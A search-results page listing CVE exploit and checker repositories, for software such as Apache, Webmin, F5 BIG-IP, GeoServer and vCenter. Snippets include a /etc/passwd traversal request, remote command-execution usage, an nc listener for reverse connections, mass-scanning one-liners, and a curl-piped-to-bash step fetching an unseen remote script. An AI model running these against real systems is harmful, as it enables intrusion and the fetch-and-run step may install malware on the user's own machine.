116448 matches found
Remote-Buffer-overflow-CVE-2003-0172
Remote-Buffer-overflow-CVE-2003-0172 ┌──cyberdesu㉿MSI- └─$ python3 buffer.py usage: exploit.py...
CVE-2012-2982
CVE-2012-2982 针对CVE-2012-2982（Webmin 1.580）的Python POC，由用户 OstojaOfficial 在原版基础上改进。 这是原始脚本的改进版本，用户无需查看整个脚本即可了解输入数据的格式。为此，只需将该部分代码移至开头： 同时，添加了一个退出指令以防止脚本继续运行（sys.exit1）。 还增加了用户可以在调用漏洞利用工具时指定Webmin 1.580服务运行端口的功能。 由于添加了一个新的输入项，所有其他数据也随之调整，同时修改了用于登录和利用漏洞的查询URL。 最后，添加了主功能，当所有数据正确接收时脚本将执行该功能。...
CVE-2021-42013
CVE-2021-42013 脆弱性スキャナー このPythonスクリプトは、Apache 2.4.50のリモートコード実行（RCE）脆弱性（CVE-2021-42013）をチェックします。 はじめに このスクリプトは、サーバーがApache 2.4.50のCVE-2021-42013 RCE脆弱性に対して脆弱かどうかを特定するのに役立つように設計されています。サーバーの応答ヘッダーをチェックして脆弱性の有無を判断し、教育目的でそれを利用します。 前提条件 Python 3.x（Python3.12で作成） インターネット接続 使用方法 1...
cve-2021-41773-and-cve-2021-42013
cve-2021-41773 および cve-2021-42013 cve-2021-41773 と cve-2021-42013 のバッチ検証用Pythonスクリプト 実行環境：python3 使い方：python3 poc.py url.txt url.txt に検証対象のURLを記述し、脆弱性が存在するURLは success.txt に書き込まれます。 検証内容はシンプルで、GETリクエストで cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd を送信します。しかし、requests...
CVE-2020-13942-POC-
CVE-2020-13942 POC + 自动化脚本 步骤 步骤 1：枚举你最喜欢的漏洞赏金计划的所有目标子域名 步骤 2：将它们放入 targets.txt 文件中 步骤 3：运行脚本 步骤 4：如果你发现易受攻击的目标，别忘了提及我 :...
CVE-2026-30502-OpenKM-6.3.12-Reflected-XSS
🛡️ CVE-2026-30502 — OpenKM v6.3.12 における反射型XSS 発見・報告者:Dharmendra Kumar — セキュリティ研究者 サイバーセキュリティ | ペネトレーションテスト | 脆弱性研究 | 責任ある開示 📌 目次 概要 CVE 詳細 影響を受ける製品 脆弱性の説明 根本原因分析 影響とリスク評価 概念実証 PoC 修正と推奨事項 開示のタイムライン 参考文献 研究者について 🔍 概要 このリポジトリは、CVE-2026-30502 の責任ある開示を文書化したものです。これは、企業や政府機関で広く使用されているオープンソースの文書管理システム...
CVE-2024-38856
CVE-2024-38856 Apache Ofbiz RCE スキャナー 説明 このスクリプトは、Apache OfbizアプリケーションにおけるCVE-2024-38856脆弱性をスキャンするために設計されています。この脆弱性はリモートコード実行を可能にする可能性があります。このスクリプトは、悪意のあるペイロードを含むHTTP POSTリクエストをOfbizアプリケーション内の特定のパスに送信して脆弱性を悪用します。 機能 さまざまなパスを使用してターゲットの脆弱性をスキャンします 高速処理のためにマルチスレッドをサポートします...
CVE-2022-47966_checker
CVE-2022-47966checker ManageEngine CVE-2022-47966のIOCを検索するための簡易PowerShellスクリプトです。このスクリプトは、ME HTTPアクセスログ内のリクエストを解析します。特徴的なSAMLリクエストが見つかった場合、攻撃者のペイロードをデコードして抽出しようとします。結果は C:\aceresponderCVE-2022-47966checker.csv に書き込まれます。管理者として実行してください。...
CVE-2023-25157-checker
CVE-2023-25157-checker 一个用 golang 编写的脚本。CVE-2023-25157 的 POC 使用步骤 1. git clone https://github.com/7imbitz/CVE-2023-25157-checker.git 2. cd CVE-2023-25157-checker 3. go run CVE-2023-25157.go 将 替换为目标服务器的 URL。 Google Dork inurl:"/geoserver/ows?service=wfs" 研究 出于研究目的，你可以设置并部署自己的 geoserver 实例。这款 docke...
http-pulse_ssl_vpn.nse
SUMMARY 用于通过特制HTTP资源请求检测Pulse Secure SSL VPN文件泄露的简单NSE脚本。 此漏洞利用读取 /etc/passwd 作为概念验证。 该漏洞影响以下版本：（8.1R15.1、8.2 至 8.2R12.1 之前版本、8.3 至 8.3R7.1 之前版本、9.0 至 9.0R3.4 之前版本）。 INSTALLATION $ git clone https://github.com/r00tpgp/http-pulsesslvpn.nse.git $ cd http-pulsesslvpn.nse/ $ sudo cp...
CVE-2026-59310
CVE-2026-59310 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例设置与用法： Follow every dir project 注意： 从其他项目克隆时，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 以清除嵌套目录中的 .git...
F5-BIG-IP-RCE-CVE-2022-1388
CVE-2022-1388 F5 BIG-IP RCE マルチスレッド検出 使用方法： 単一URL: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx バッチマルチスレッド: python3 CVE-2022-1388.py -f url.txt コマンド実行: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami 結果:...
CVE-2024-36401
CVE-2024-36401 CVE-2024-36401の脆弱性チェック用のプログラムです。 使い方 まず、以下コマンドを実行し、通信の待ち受け状態にしてください。 nc -lvnp 9000 その後、別のウィンドウのターミナルでファイルを実行して下さい。 python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 相手のドメインまたはIPアドレス --targetport 相手のサービスをホストしているポート番号 --myip...
CVE-2023-25157
CVE-2023-25157 これは、最新のGeoServer SQLインジェクションの脆弱性を発見するためのシンプルなPythonスクリプトです。ホスト上でスクリプトを使用して、感染したパスを確認できます。 インストール: 1. git clone https://github.com/0x2458bughunt/CVE-2023-25157/ 2. cd CVE-2023-25157 3. chmod +x geoserver.sh 注意: すべてのファイルを同じディレクトリに配置する必要があります。システム全体からファイルを使用したい場合は、以下の手順に従ってください: 1...
Log4J_checker
Log4Jchecker 用于 Apache CVE-2021-44228 的 Log4J 检测器 log4j-checker.sh 是一个 bash 脚本，它合并了若干检测项...
CVE-2024-32002
CVE-2024-32002 CVE-2024-32002を利用するための小さなスクリプトです（利用可能なCVEに基づく） 使い方 まず、GitHubまたはGitLab上に2つの空のリポジトリを作成します。 次に、このスクリプトをgit cloneして実行します。 最後に: git clone –recursive repo2 を実行してRCEを自動化します。...
CVE-2021-22005
CVE-2021-22005 VMware vCenter RCE CVE-2021-22005 ワンライナー大量チェッカー cat vmwarecenters.txt | while read S do; do curl --connect-timeout 15 --max-time 30 --silent --insecure --user-agent "vAPI/2.100.0 Java/1.8.0261 Linux; 4.19.160-6.ph3; amd64" -X POST...
CVE-2023-26256
CVE-2023-26255 CVE-2023-26256 POC Usage: python3 CVE-2023-26256.py -h...